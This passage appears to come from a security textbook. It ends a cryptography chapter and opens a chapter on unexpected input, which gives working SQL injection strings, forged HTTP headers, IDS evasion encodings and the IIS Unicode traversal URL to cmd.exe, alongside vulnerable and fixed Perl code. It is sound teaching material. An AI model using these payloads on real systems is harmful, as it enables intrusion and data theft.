game developers would compress the size of their save game files not only to reduce space, but also to limit your attempts to modify it with a save game editor.The most commonly used algorithms for this were SQSH (Squish or Squash) and LHA.The algorithms themselves were somewhat inherited from console games of the 1980s, where they were used to compress the ROM images in the cartridges. As a rule, when you encounter text that you cannot seem to decipher via standard methods, you may want to check to see if the information has been compressed using one of the plethora of compression algorithms available today. www.syngress.com Consumer-Oriented Crypto— The SDMI Hacking Challenge Sometimes organizations decide to use cryptography that isn’t necessarily amateur, but shouldn’t really be considered professional grade either. For example, the Secure Digital Music Initiative (SDMI) is trying to develop a watermarking scheme for digital music that carries an extraencoded signal that prevents the music from being played or copied in an unauthorized manner. In developing its watermarking scheme, the SDMI proposed six watermarking schemes to the hacking community and offered up a $10,000 prize to whoever could break the watermarking technology, producing a song without any watermark from a sample song with a watermark. Only samples of the watermarked songs were made available; the SDMI did not release any details about how the watermarking schemes themselves worked. A before-and-after sample of a different song was provided for each of the watermarking schemes, so that differences could be noted. Two of the six watermarking schemes were dropped shortly after the contest began, and the remaining four were ultimately broken Notes from the Underground… Continued 198 Chapter 6 • Cryptography www.syngress.com within weeks by a team of academic researchers led by Princeton Professor Edward W. Felten. Felten and his associates chose not to accept the $10,000 bounty, opting instead to publicly publish the results of their research. It seems there was a small loophole in the agreement that was presented to challengers before they would be given the files. It said that they had to agree to keep all information secret in order to collect the $10,000. It didn’t say anything about what would happen if the challenger wasn’t interested in the money. Shortly thereafter, the seemingly upset SDMI threatened a lawsuit under the provisions of the Digital Millennium Copyright Act (DMCA) that prevented the sharing of knowledge that could be used to circumvent copyright protection schemes. Ultimately the SDMI chose not to pursue the matter, and Felten and his associates presented their findings at the 10th USENIX Security Symposium. Felten’s conclusion, which is generally shared by the security community at large, was that any attempts at watermarking-type encryption would ultimately be broken. Also of interest is the fact that Felten’s team identified that no special knowledge in computer science was needed to break the watermarking schemes; only a general knowledge of signal processing was required. You might view this story as yet another example of a vendor attempting to employ what they proclaim to be “highly secure proprietary algorithms,” but it is also an example of the continuing evolution of cryptography and its applications in new ways. Even if these new applications of cryptography don’t lend themselves well to the use of conventional algorithms, you would be wise to remain skeptical of newly proposed unproven algorithms, especially when these algorithms are kept secret. Cryptography • Chapter 6 199 Summary This chapter looked into the meaning of cryptography and some of its origins, including the Caesar Cipher. More modern branches of cryptography are symmetric and asymmetric cryptography, which are also known as secret key and public key cryptography, respectively. The most common symmetric algorithms in use today include DES,AES, and IDEA. Since DES is showing its age, we looked at how NIST managed the development of AES as a replacement, and how Rijndael was selected from five finalists to become the AES algorithm. From the European perspective, we saw how IDEA came to be developed in the early 1990s and examined its advantages over DES. The early development of asymmetric cryptography was begun in the mid- 1970s by Diffie and Hellman, who developed the Diffie-Hellman key exchange algorithm as a means of securely exchanging information over a public network. After Diffie-Hellman, the RSA algorithm was developed, heralding a new era of public key cryptography systems such as PGP. Fundamental differences between public key and symmetric cryptography include public key cryptography’s reliance on the factoring problem for extremely large integers. Brute force is an effective method of breaking most forms of cryptography, provided you have the time to wait for keyspace exhaustion, which could take anywhere from several minutes to billions of years. Cracking passwords is the most widely used application of brute force; programs such as L0phtcrack and John the Ripper are used exclusively for this purpose. Even secure algorithms can be implemented insecurely, or in ways not intended by the algorithm’s developers. Man-in-the-middle attacks could cripple the security of a Diffie-Hellman key exchange, and even DES-encrypted LANMAN password hashes can be broken quite easily. Using easily broken passwords or passphrases as secret keys in symmetric algorithms can have unpleasant effects, and improperly stored private and secret keys can negate the security provided by encryption altogether. Information is sometimes concealed using weak or reversible algorithms.We saw in this chapter how weak ciphers are subject to frequency analysis attacks that use language characteristics to decipher the message. Related attacks include relative length analysis and similar plaintext analysis.We saw how vendors sometimes conceal information using XOR and Base64 encoding and looked at some sample code for each of these types of reversible ciphers.We also saw how, on occasion, information is compressed as a means of obscuring it. www.syngress.com 200 Chapter 6 • Cryptography Solutions Fast Track Understanding Cryptography Concepts Unencrypted text is referred to as cleartext, while encrypyted text is called ciphertext. The two main categories of cryptography are symmetric key and asymmetric key cryptography. Symmetric key cryptography uses a single secret key, while asymmetric key cryptography uses a pair of public and private keys. Public key cryptography was first devised as a means of exchanging a secret key securely by Diffie and Hellman. Learning about Standard Cryptographic Algorithms The reason why so many cryptographic algorithms are available for your use is that each algorithm has its own relative speed, security and ease of use.You need to know enough about the most common algorithms to choose one that is appropriate to the situation to which it will be applied. Data Encryption Standard (DES) is the oldest and most widely known modern encryption method around. However, it is nearing the end of its useful life span, so you should avoid using it in new implementations or for information you want to keep highly secure. Advanced Encryption Standard (AES) was designed as a secure replacement for DES, and you can use several different keysizes with it. Be aware that asymmetric cryptography uses entirely different principles than symmetric cryptography.Where symmetric cryptography combines a single key with the message for a number of cycles, asymmetric cryptography relies on numbers that are too large to be factored. The two most widely used asymmetric algorithms are Diffie-Hellman and RSA. www.syngress.com Cryptography • Chapter 6 201 Understanding Brute Force Brute force is the one single attack that will always succeed against symmetric cryptography, given enough time.You want to ensure that “enough time” becomes a number of years or decades or more. An individual machine performing a brute force attack is slow. If you can string together a number of machines in parallel, your brute force attack will be much faster. Brute force attacks are most often used for cracking passwords. Knowing When Real Algorithms Are Being Used Improperly Understand the concept of the man-in-the-middle attack against a Diffie-Hellman key exchange. LANMAN password hashing should be disabled, if possible, because its implementation allows it to be broken quite easily. Key storage should always be of the utmost importance to you because if your secret or private key is compromised, all data protected by those keys is also compromised. Understanding Amateur Cryptography Attempts You can crack almost any weak cryptography attempts (like XOR) with minimal effort. Frequency analysis is a powerful tool to use against reasonably lengthy messages that aren’t guarded by modern cryptography algorithms. Sometimes vendors will attempt to conceal information using weak cryptography (like Base64) or compression. www.syngress.com 202 Chapter 6 • Cryptography Q: Are there any cryptography techniques which are 100 percent secure? A: Yes. Only the One Time Pad (OTP) algorithm is absolutely unbreakable if implemented correctly.The OTP algorithm is actually a Vernam cipher, which was developed by AT&T way back in 1917.The Vernam cipher belongs to a family of ciphers called stream ciphers, since they encrypt data in continuous stream format instead of the chunk-by-chunk method of block ciphers.There are two problems with using the OTP, however:You must have a source of truly random data, and the source must be bit-for-bit as long as the message to be encoded.You also have to transmit both the message and the key (separately), the key must remain secret, and the key can never be reused to encode another message. If an eavesdropper intercepts two messages encoded with the same key, then it is trivial for the eavesdropper to recover the key and decrypt both messages.The reason OTP ciphers are not used more commonly is the difficulty in collecting truly random numbers for the key (as mentioned in one of the sidebars for this chapter) and the difficulty of the secure distribution of the key. Q: How long is DES expected to remain in use? A: Given the vast number of DES-based systems, I expect we’ll continue to see DES active for another five or ten years, especially in areas where security is not a high priority. For some applications, DES is considered a “good enough” technology since the average hacker doesn’t have the resources available (for now) to break the encryption scheme efficiently. I predict that DES will still find a use as a casual eavesdropping deterrent, at least until the widespread adoption of IPv6. DES is also far faster than 3-DES, and as such it is more suitable to older-style VPN gear that may not be forward-compatible with the new AES standard. In rare cases where legacy connections are required, the government is still allowing new deployment of DES-based systems. www.syngress.com Frequently Asked Questions The following Frequently Asked Questions, answered by the authors of this book, are designed to both measure your understanding of the concepts presented in this chapter and to assist you with real-life implementation of these concepts. To have your questions about this chapter answered by the author, browse to www.syngress.com/solutions and click on the “Ask the Author” form. Cryptography • Chapter 6 203 Q: After the 9/11 attacks I’m concerned about terrorists using cryptography, and I’ve heard people advocate that the government should have a back door access to all forms of encryption.Why would this be a bad idea? A: Allowing back-door access for anyone causes massive headaches for users of encryption. First and foremost, these back door keys are likely to be stored all in one place, making that storage facility the prime target for hackers.When the storage facility is compromised, and I have no doubt that it would be (the only question is how soon), everyone’s data can effectively be considered compromised.We’d also need to establish a new bureaucracy that would be responsible for handing out the back door access, probably in a manner similar to the way in which wiretaps are currently doled out.We would also require some sort of watchdog group that certifies the deployment group as responsible. Additionally, all of our encryption schemes would need to be redesigned to allow backdoor access, probably in some form of “public key + trusted key” format. Implementation of these new encryption routines would take months to develop and years to deploy. New cracking schemes would almost certainly focus on breaking the algorithm through the “trusted key” access, leaving the overall security of these routines questionable at best. Q: Why was CSS, the encryption technology used to protect DVDs from unauthorized copying, able to be broken so easily? A: Basically,DVD copy protection was broken so easily because one entity, Xing Technologies, left their key lying around in the open, which as we saw in this chapter is a cardinal sin.The data encoded on a DVD-Video disc is encrypted using an algorithm called the Content Scrambling System (CSS) which can be unlocked using a 40-bit key. Using Xing’s 40-bit key, hackers were able to brute force and guess at the keys for over 170 other licensees at a rapid pace.That way, since the genie was out of the bottle, so to speak, for so many vendors, the encryption for the entire format was basically broken.With so many keys to choose from, others in the underground had no difficulty in leveraging these keys to develop the DeCSS program, which allows data copied off of the DVD to be saved to another media in an unencrypted format. Ultimately, the CSS scheme was doomed to failure.You can’t put a key inside millions of DVD players, distribute them, and not expect someone to eventually pull it out. |
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![]() Chapter 7 ¡E Unexpected Input
Introduction The Internet is composed of applications, each performing a role, whether it be routing, providing information, or functioning as an operating system. Every day sees many new applications enter the scene. For an application to truly be useful, it must interact with a user. Be it a chat client, e-commerce Web site, system command-line utility, or an online game, all applications dynamically modify execution based on user input. A calculation application that does not take usersubmitted values to calculate is useless; an e-commerce system that doesn¡¦t take orders defeats the purpose. Being on the Internet means that the application is remotely accessible by other people. If coded poorly, the application can leave your system open to security vulnerabilities. Poor coding can be the result of lack of experience, a coding mistake, or an unaccounted-for anomaly. Large applications are often developed in smaller parts consecutively, and joined together for a final project; it¡¦s possible that differences and assumptions exist in a module that, when combined with other modules, results in a vulnerability. WARNING The battle between application developers and network administrators is ageless. It is very hard to get nonsecurity-conscience developers to change their applications without having a documented policy to fall back on that states security as an immediate requirement. Many developers do not realize that their applications are just as integral to the security posture of a corporation as the corporation¡¦s firewall. The proliferation of vulnerabilities due to unexpected data is very high. You can find a nice list in any Web Common Gateway Interface (CGI) scanner (cgichk, whisker, and so on). Most CGIs scanned for are known to be vulnerable to an attack involving unexpected user input. Understanding Why Unexpected Data Is Dangerous To interact with a user, an application must accept user-supplied data. It could be in a simple form (mouse click or single character), or a complex stream (large www.syngress.com www.syngress.com quantities of text). In either case, the user may¡Xknowingly or not¡Xsubmit data the application wasn¡¦t expecting.The result could be nil, or it could modify the intended response of the application. It could lead to the application providing information to users that they wouldn¡¦t normally be able to get, or it could tamper with the application or underlying system. Three classes of attack can result from unexpected data: Buffer overflow When an attacker submits more data than the application expects, the application may not gracefully handle the surplus data. C and C++ are examples of languages that do not properly handle surplus data (unless the application is specifically programmed to handle them). Perl and PHP automatically handle surplus data by increasing the size for variable storage. (See Chapter 8 for more information on buffer overflows.) System functions The data is directly used in some form to interact with a resource that is not contained within the application itself. System functions include running other applications, accessing or working with files, and so on.The data could also modify how a system function behaves. Logic alteration The data is crafted in such a way as to modify how the application¡¦s logic handles it.These types of situations include diverting authentication mechanisms, altering Structured Query Language (SQL) queries, and gaining access to parts of the application the attacker wouldn¡¦t normally have access to. Note that there is no fine line for distinction between the classes, and particular attacks can sometimes fall into multiple classes. The actual format of the unexpected data varies; an ¡§unexpected data¡¨ attack could be as simple as supplying a normal value that modifies the application¡¦s intended logical execution (such as supplying the name of an alternate input file). This format usually requires very little technical prowess. Then, of course, there are attacks that succeed due to the inclusion of special metacharacters that have alternate meaning to the application, or the system supporting it.The Microsoft Jet engine had a problem where pipes ( | ) included within the data portion of a SQL query caused the engine to execute Visual Basic for Applications (VBA) code, which could lead to the execution of system commands.This is the mechanism behind the popular Remote Data Services Unexpected Input ¡E Chapter 7 207 208 Chapter 7 ¡E Unexpected Input (RDS) exploit, which has proven to be a widespread problem with installations of Internet Information Server (IIS) on Windows NT. Finding Situations Involving Unexpected Data Applications typically crunch data all the time¡Xafter all, that¡¦s what computers were made to do. So where does ¡§unexpected¡¨ data come into play? Technically, it is a consideration in any application that interacts with a user or another (untrusted) application. However, a few particular situations tend to be quite common¡Xlet¡¦s take a look at them. Local Applications and Utilities A computer system is composed of various applications that the user or system will run in order to do what it needs to do. Many of these applications interact with the user, and thus give a malicious user the chance to do something the application wasn¡¦t expecting.This could, for example, mean pressing an abnormal key sequence, providing large amounts of data, or specifying the wrong types of values. Normally this isn¡¦t a large problem¡Xif a user does something bad, the application crashes and that¡¦s that. However, in the UNIX world (which now includes the Macintosh OS X world as well, because OS X is UNIX BSD under the hood), some of these applications have special permissions called set user ID (suid) and set group ID (sgid).This means that the applications will run with elevated privileges compared to that of the normal user. So although tricking a normal application might not be of much benefit, tricking a suid or sgid application can result in the privilege to do things that are normally limited to administrator types.You¡¦ll see some of the common ways to trick these types of applications later in this chapter. HTTP/HTML Web applications make many assumptions; some of the assumptions are just from misinformation, but most are from a programmer¡¦s lack of understanding of how the Hypertext Transfer Protocol (HTTP) and/or Hypertext Markup Language (HTML) work. The biggest mistake programmers make is relying on the HTTP referer header as a method of security.The referer header contains the address of the referring www.syngress.com Unexpected Input ¡E Chapter 7 209 page. Note that the referer header is supplied by the client, at the client¡¦s option. Because it originates with the client, that means it is trivial to spoof. For example, you can Telnet to port 80 (HTTP port) of a Web server and type the following: GET / HTTP/1.0 User-Agent: Spoofed-Agent/1.0 Referer: http://www.wiretrip.net/spoofed/referer/ Here you can see that you submitted a fake referer header and a fake user agent header. As far as user-submitted information is concerned, the only piece of information you can justifiably rely on is the client¡¦s IP address (although, this too can be spoofed; see Chapter 12 for more information on spoofing). Another bad assumption is the dependency on HTML form limitations. Many developers feel that because they gave you only three options, clients will submit one of the three. Of course, there is no technical limitation that says they have to submit a choice given by the developers. Ironically enough, I have seen a Microsoft employee suggest this as an effective method to combat renegade user data. I cut him some slack, though¡Xthe person who recommended this approach was from the SQL Server team, and not the security or Web team. I wouldn¡¦t expect him to know much more than the internal workings of a SQL server. So, let¡¦s look at this. Suppose that an application generates the following HTML: <FORM ACTION="process.cgi" METHOD="GET"> <SELECT NAME="author"> <OPTION VALUE=" Ryan Russell">Ryan Russell <OPTION VALUE=" Hal Flynn"> Hal Flynn <OPTION VALUE=" Ryan Permeah"> Ryan Permeah <OPTION VALUE=" Dan Kaminsky"> Dan Kaminsky </SELECT> <INPUT TYPE="Submit"> </FORM> Here you¡¦ve been provided with a (partial) list of authors. Having received the form HTML, the client disconnects, parses the HTML, and presents the visual form to the user. Once the user decides an option, the client sends a separate request to the Web server for the following URL: process.cgi?author=Ryan%20Russell www.syngress.com 210 Chapter 7 ¡E Unexpected Input Simple enough. However, at this point, there is no reason why I couldn¡¦t submit the following URL instead: process.cgi?author=Rain%20Forest%20Puppy As you can see, I just subverted the assumed ¡§restriction¡¨ of the HTML form. Another thing to note is that I can enter this URL independently of needing to request the prior HTML form. In fact, I can telnet to port 80 of the Web server and request it by hand.There is no requirement that I need to request or view the prior form; you should not assume that incoming data will necessarily be the return result of a previous form. One assumption I love to disprove to people is the use of client-side data filtering. Many people include cute little JavaScript (or, ugh,VBScript) that will double-check that all form elements are indeed filled out.They may even go as far as to check to make sure that numeric entries are indeed numeric, and so on. The application then works off the assumption that the client will perform the necessary data filtering, and therefore tends to pass it straight to system functions. The fact that it¡¦s client side should indicate you have no control over the choice of the client to use your cute little validation routines. If you seriously can¡¦t imagine someone having the technical prowess to circumvent your clientside script validation, how about imagining even the most technically inept people turning off JavaScript/Active scripting. Some corporate firewalls even filter out client-side scripting. An attacker could also be using a browser that does not support scripting (such as Lynx). Of particular note, using the size parameter in conjunction with HTML form inputs is not an effective means of preventing buffer overflows. Again, the size parameter is merely a suggested limitation the client can impose if it feels like it (that is, if it understands that parameter). If there ever were to be a ¡§mystical, magical¡¨ element to HTTP, it would defi- nitely involve cookies. No one seems to totally comprehend what these little critters are, let alone how to properly use them.The media is portraying them as the biggest compromise of personal privacy on the Web. Some companies are using them to store sensitive authentication data.Too bad none of them are really right. Cookies are effectively a method to give data to clients so they will return it to you. Is this a violation of privacy? The only data being given to you by the clients is the data you originally gave them in the first place.There are mechanisms that allow you to limit your cookies so the client will only send them back to your server.Their purpose was to provide a way to save state information www.syngress.com Unexpected Input ¡E Chapter 7 211 across multiple requests (because HTTP is stateless; that is, each individual request made by a client is independent and anonymous). Considering that cookies come across within HTTP, anything in them is sent plain text on the wire. Faking a cookie is not that hard. Observe the following Telnet to port 80 of a Web server: GET / HTTP/1.0 User-Agent: HaveACookie/1.0 Cookie: MyCookie=SecretCookieData I have just sent the MyCookie cookie containing the data ¡§SecretCookieData¡¨. Another interesting note about cookies is that they are usually stored in a plain-text file on the client¡¦s system.This means that if you store sensitive information in the cookie, it stands the chance of being retrieved by an unauthorized site. Unexpected Data in SQL Queries Many e-commerce systems and other applications interface with some sort of database. Small-scale databases are even built into applications for purposes of configuration and structured storage (such as Windows¡¦ Registry). In short, databases are everywhere. The Structured Query Language is a database-neutral language used to submit commands to a database and have the database return an intelligible response. It¡¦s safe to say that most commercial relational database servers are SQL-compatible, due to SQL being an ANSI standard. Now, a very scary truth is implied with SQL. It is assumed that, for your application to work, it must have enough access to the database to perform its function.Therefore, your application will have the proper credentials needed to access the database server and associated resources. Now, if an attacker is to modify the commands your application is sending to your database server, your attacker is using the pre-established credentials of the application; no extra authentication information is needed by the attacker.The attacker does not even need direct contact with the database server itself.There could be as many firewalls as you can afford sitting between the database server and the application server; if the application can use the database (which is assumed), an attacker has a direct path to use it as well, regardless. Of course, gaining database access does not mean an attacker can do whatever he wishes to the database server.Your application may have restrictions imposed www.syngress.com 212 Chapter 7 ¡E Unexpected Input against which resources it can access, and so on; this may limit the actual amount of access the attacker has to the database server and its resources. One of the biggest threats of including user-submitted data within SQL queries is that an attacker can include extra commands to be executed by the database. Imagine that you had a simple application that wanted to look up a user-supplied value in a table.The query would look similar to this: SELECT * FROM table WHERE x=$data This query would take a user¡¦s value, substitute it for $data, and then pass the resulting query to the database. Now, imagine an attacker submitting the following value: 1; SELECT * FROM table WHERE y=5 After the application substitutes it, the resulting string sent to the database would be this: SELECT * FROM table WHERE x=1; SELECT * FROM table WHERE y=5 Generically, this would cause the database to run two separate queries: the intended query, and another extra query (SELECT * FROM table WHERE y=5). I say generically, because each database platform handles extra commands differently; some don¡¦t allow more than one command at a time, some require special characters be present to separate the individual queries, and some don¡¦t even require separation characters. For instance, the following is a valid SQL query (actually it¡¦s two individual queries submitted at once) for Microsoft SQL Server and Sybase SQL Server databases: SELECT * FROM table WHERE x=1 SELECT * FROM table WHERE y=5 Notice that there¡¦s no separation or other indication between the individual SELECT statements. It¡¦s also important to realize that the return result is dependent on the database engine. Some return two individual record sets, as shown in Figure 7.1, with each set containing the results of the individual SELECT. Others may combine the sets if both queries result in the same return columns. On the other hand, most applications are written to accommodate only the first returned record set; therefore, you may not be able to visually see the results of the second query¡Xhowever, that does not mean executing a second query is fruitless. MySQL allows you to save the results to a file. MS SQL Server has stored procedures to e-mail the query results. An attacker can insert the results of the query www.syngress.com Unexpected Input ¡E Chapter 7 213 into a table that she can read from directly. And, of course, the query may not need to be seen, such as a DROP command. When trying to submit extra commands, the attacker may need to indicate to the data server that it should ignore the rest of the query. Imagine a query such as this: SELECT * FROM table WHERE x=$data AND z=4 Now, if you submit the same data as mentioned earlier, the query would become this: ... WHERE x=1; SELECT * FROM table WHERE y=5 AND z=4 This results in the AND z=4 being appended to the second query, which may not be desired.The solution is to use a comment indicator, which is different with every database (some may not have any). On MS SQL Server, including a double hyphen (--) tells the database to ignore the rest, as shown in Figure 7.2. www.syngress.com Figure 7.1 Some Database Servers, such as Microsoft SQL Server, Allow for Multiple SQL Commands in One Query 214 Chapter 7 ¡E Unexpected Input On MySQL, the pound sign (#) is the comment character. So, for a MySQL server, an attacker would submit 1; SELECT * FROM table WHERE y=5 # which results in the following final query of ... WHERE x=1; SELECT * FROM table WHERE y=5 # AND z=4 causing the server to ignore the AND z=4. In these examples, you know the name of your target table, which is not always the case.You may have to know table and column names in order to perform valid SQL queries; because this information typically isn¡¦t publicly accessible, it can prove to be a crux. However, all is not lost.Various databases have different ways to query system information to gain lists of installed tables. For example, querying the sysobjects table (with a Select * from sysobjects query) in www.syngress.com Figure 7.2 Escaping the First Query by Submitting blah¡¦ select * from sales ¡V, Which Makes Use of the Comment Indicator (--) in MS SQL Server Unexpected Input ¡E Chapter 7 215 Microsoft SQL Server will return all objects registered for that database, including stored procedures and table names. When involved in SQL hacking, it¡¦s good to know what resources each of the database servers provides. Due to the nature of SQL hacking, you may not be able to see your results, because most applications are not designed to handle multiple record sets; therefore, you may need to fumble your way around until you verify that you do have access. Unfortunately, there is no easy way to tell, because most SQL commands require a valid table name to work.You may have to get creative in determining this information. Performing SQL hacking, blind or otherwise, is definitely possible. It may require some insight into your target database server (which may be unknown to the attacker).You should become familiar with the SQL extensions and stored procedures that your particular server implements. For example,Microsoft SQL Server has a stored procedure to e-mail the results of a query somewhere.This can be extremely useful, because it would allow you to see the second returned data set. MySQL allows you to save queries out to files, which may allow you to retrieve the results.Try to use the extra functionality of the database server to your advantage. Application Authentication Authentication always proves to be an interesting topic.When a user needs to log in to an application, where are authentication credentials stored? How does the user stay authenticated? For normal (single-user desktop) applications, this isn¡¦t as tough of a question; but for Web applications, it proves to be a challenge. The popular method is to give a large random session or authentication key, whose keyspace (total amount of possible keys) is large enough to thwart bruteforcing efforts. However, there are two serious concerns with this approach. The key must prove to be truly random; any predictability will result in increased chances of an attacker guessing a valid session key. Linear incremental functions are obviously not a good choice. Using /dev/random and /dev/urandom on UNIX may not necessarily provide you with good randomness, especially if you have a high volume of session keys being generated. Calling /dev/random or /dev/urandom too fast can result in a depletion of random numbers, which causes it to fall back on a predictable, quasi-random number generator. The other problem is the size of the keyspace in comparison to the more extreme number of keys needed at any one time. Suppose that your key has 1 billion possible values. Brute forcing 1 billion values to find the right key is defi- nitely daunting. However, let¡¦s say that you have a popular e-commerce site that www.syngress.com 216 Chapter 7 ¡E Unexpected Input may have as many as 500,000 sessions open on a very busy day. Now an attacker has good odds of finding a valid key for every 1,000 keys tried (on average). Trying all 2,000 consecutive keys from a random starting place is not that daunting. Let¡¦s take a look at a few authentication schemes used in the real world.A while back, PacketStorm (www.packetstormsecurity.org) decided to custom-code their own Web forum software after they found that wwwthreads had a vulnerability. The coding effort was done by Fringe, using Perl. The authentication method chosen was of particular interest. After logging in, you were given a URL that had two particular parameters that looked similar to this: authkey=rfp.23462382.temp&uname=rfp Using a zero knowledge ¡§black box¡¨ approach, I started to change variables. The first step was to change the various values in the authkey to random values¡X first the username, then the random number, and finally the additional ¡§temp¡¨. The goal was to see if it was still possible to maintain authentication with different invalid/random parameters. It wasn¡¦t. Next, I changed the uname variable to another (valid) username, which made the string look like authkey=rfp.23462382.temp&uname=fringe. What followed was my being successfully logged in as the other user (¡§fringe¡¨ in this case). From this, I can hypothesize the Perl code being used (note that I have not seen the actual source code of the PacketStorm forums): if (-e "authkey_directory/$authkey") { print "Welcome $uname!"; # do stuff as $uname } else { print "Error: not authenticated"; } The authkey would be a file that was created at login, using a random number.This code implementation allows someone to change uname and access another user¡¦s account, while using a known, valid authkey (that is, your own). Determining that the authkey was file-system derived is a logical assumption based on the formats of authkey and uname. Authkey, in the format of username. 999999.temp, is not a likely piece of information to be stored in a database as-is. It¡¦s possible that the application splits the authkey into three parts, using the www.syngress.com Unexpected Input ¡E Chapter 7 217 username and random number as a query into a database; however, then there is no need for the duplicate username information in uname, and the static trailing .temp becomes useless and nonsensical. Combined with the intuition that the format of authkey ¡§looked like a file,¡¨ I arrived at the hypothesis that authkey must be file-system based, which turned out to be correct. Of course, PacketStorm was contacted, and the problem was fixed.The solution they chose follows shortly, but first I want to demonstrate another possible solution. Suppose we modified the code as follows: if (-e "authkey_directory/$authkey" && $authkey=~/^$uname/) { print "Welcome $uname!"; # do stuff as $uname } else { print "Error: not authenticated"; } Although this looks like it would be a feasible solution (we make sure that the authkey begins with the same uname), it does have a flaw.We are checking only to see if authkey begins with uname; this means that if the authkey was ¡§rfp.234623.temp,¡¨ we could still use a uname of ¡§r¡¨ and it would work, because ¡§rfp¡¨ starts with ¡§r.¡¨We should fix this by changing the regex to read $authkey=~/^$uname\./, which would ensure that the entire first portion of the authkey matched the uname. PacketStorm decided to use another method, which looks similar to @authkey_parts = split('.', $authkey); if ($authkey_parts[0] eq $uname && -e "authkey_directory/$authkey"){ ¡K which is just another way to make sure the authkey user and uname user match. But, there are still some issues with this demonstration code.What reason is there to duplicate and compare the username portion of authkey to uname? They should always be the same. By keeping them separate, you open yourself up to small mistakes like PacketStorm originally had.A more concrete method would be to use code as such: if (-e "authkey_directory/$uname.$authkey.temp"){ ... And now, we would only need to send a URL that looks like this: authkey=234562&uname=rfp www.syngress.com 218 Chapter 7 ¡E Unexpected Input The code internally combines the two into the appropriate filename, ¡§rfp.234562.temp.¡¨This ensures that the same uname will be applied throughout your application. It also ensures that an attacker can reference only .temp files, because we append a static ¡§.temp¡¨ to the end (although, submitting a NULL character at the end of authkey will cause the system to ignore the appended .temp.This can be avoided by removing NULLs. However, it will allow an attacker to use any known .temp file for authentication by using ¡§../¡¨ notation combined with other tricks.Therefore, make sure that $uname contains only allowed characters (preferably only letters), and $authkey contains only numbers. A common method for authentication is to use a SQL query against a database of usernames and passwords.The SQL query would look something like SELECT * FROM Users WHERE Username='$name' AND Password='$pass' where $name was the submitted username, and $pass was the submitted password. This results in all records that have the matching username and password to be returned. Next, the application would process something like this: if ( number_of_return_records > 0) { # username and password were found; do stuff } else { # not found, return error } So, if records were returned, the username/password combination is valid. However, this code is sloppy and makes a bad assumption. Imagine if an attacker submitted the following value for $pass: boguspassword OR TRUE This results in all records matching the SQL query. Because the logic accepts one or more record returns, we are authenticated as that user. The problem is the (number_of_return_records > 0) logic clause.This clause implies that you will have situations where you will have multiple records for the same username, all with the same password.A properly designed application should never have that situation; therefore, the logic is being very forgiving.The proper logic clause should be (number_of_return_records == 1). No records means that the username/password combo wasn¡¦t found. One record indicates a valid account. More than one indicates a problem (whether it be an attack or a application/ database error). www.syngress.com Unexpected Input ¡E Chapter 7 219 Of course, the situation just described cannot literally happen as presented, due to the quotes surrounding $pass in the SQL query. A straight substitution would look like ¡K AND Password='boguspassword OR TRUE' which doesn¡¦t allow the OR TRUE portion of the data to be interpreted as a command.We need to supply our own quotes to break free, so now the query may look like ¡K AND Password='boguspassword' OR TRUE' which usually results in the SQL interpreter complaining about the trailing orphaned quote.We can either use a database-specific way to comment out the remaining single quote, or we can use a query that includes the use of the trailing quote. If we set $pass to boguspassword' OR NOT Password='otherboguspassword the query results in ¡K AND Password='boguspassword' OR NOT Password='otherboguspassword' which conveniently makes use of the trailing quote. Of course, proper data validation and quoting will prevent this from working. The wwwthreads package (www.wwwthreads.com) uses this type of authentication. The query contained in their downloadable demo looks like this: my $query = qq! SELECT * FROM Users WHERE Username = $Username_q !; Unfortunately, preceding it they have my $Username_q = $dbh->quote($Username); my $Password_q = $dbh->quote($Password); which ensures that $Username is correctly quoted. Because it¡¦s quoted, the method mentioned previously will not work. However, take another look at the query. Notice that it looks only for a valid username.This means that if anybody were to supply a valid username, the query would return a record, which would www.syngress.com 220 Chapter 7 ¡E Unexpected Input cause wwwthreads to believe that the user was correctly authenticated.The proper query would look like this: my $query = qq! SELECT * FROM Users WHERE Username = $Username_q AND Password = $Password_q !; The wwwthreads maintainer was alerted, and this problem was immediately fixed. Disguising the Obvious Signature matching is a type of unexpected data attack that many people tend to overlook. Granted, few applications actually do rely on signature matching (specifically, you have virus scanners and intrusion detection systems).The goal in this situation is to take a known ¡§bad¡¨ signature (an actual virus or an attack signature), and disguise it in such a manner that the application is fooled into not recognizing it. Note that intrusion detection systems (IDSs) are covered in more detail in Chapter 16. A basic signature-matching network IDS has a list of various values and situations to look for on a network.When a particular scenario matches a signature, the IDS processes an alert.The typical use is to detect attacks and violations in policy (security or other). Let¡¦s look at Web requests as an example. Suppose that an IDS is set to alert any request that contains the string /cgi-bin/phf. It¡¦s assumed that a request of the age-old vulnerable phf CGI in a Web request will follow standard HTTP convention, and therefore is easy to spot and alert. However, a smart attacker can disguise the signature, using various tactics and conventions found in the HTTP protocol and in the target Web server. For instance, the request can be encoded to its hex equivalent: GET /%63%67%69%2d%62%69%6e/phf HTTP/1.0 This does not directly match /cgi-bin/phf.The Web server will convert each %XX snippet to the appropriate ASCII character before processing.The request can also use self-referenced directory notation: GET /cgi-bin/./phf HTTP/1.0 www.syngress.com Unexpected Input ¡E Chapter 7 221 The /./ keeps the signature from matching the request. For the sake of example, let¡¦s pretend the target Web server is IIS on Windows NT (although phf is a UNIX CGI program).That would allow GET /cgi-bin\phf HTTP/1.0 which still doesn¡¦t match the string exactly. A recent obfuscation technique that has started to become quite common involves encoding URLs using UTF-8/Unicode escaping, which is understood by Microsoft IIS and some other servers. It¡¦s possible to use overlong Unicode encoding to represent normal ASCII characters. Normally, these overlong values should be flagged as illegal; however, many applications accept them. A perfect example of overlong Unicode escaping is the vulnerability fixed by Microsoft patch MS00-078. Basically, it was possible to trick IIS to access files outside the Web root by making requests for the parent directory.The basic syntax of the URL looked like this: /cgi-bin/../../../../winnt/system32/cmd.exe Ideally, this would allow us to traverse up the filesystem to the root drive, and then down into the WINNT folder and subfolders, eventually arriving at and executing cmd.exe. However, IIS is smart enough to not let us do this type of thing, because it¡¦s a security problem. Enter Unicode. By changing some of the characters to their Unicode equivalents, an attacker could trick IIS into thinking the URL was legitimate, but when fully decoded, IIS would wind up executing cmd.exe.The escaped URL could look like this: /cgi-bin/..%c0%af..%c0%af..%c0%af..%c0%afwinnt/system32/cmd.exe In this case the / character is represented using the overlong Unicode equivalent hexadecimal value of ¡§0xC0AF¡¨, which is then encoded as ¡§%c0%af ¡¨ in the URL. It¡¦s possible to escape any particular character with its overlong Unicode representation¡Xwe just used the / character as an example. Using Techniques to Find and Eliminate Vulnerabilities So hopefully you see how unexpected data can be a problem. Next is to see if your own applications are vulnerable¡Xbut how do you do that? This section focuses on some common techniques that you can use to determine if an application is vulnerable, and if so, fix it. www.syngress.com 222 Chapter 7 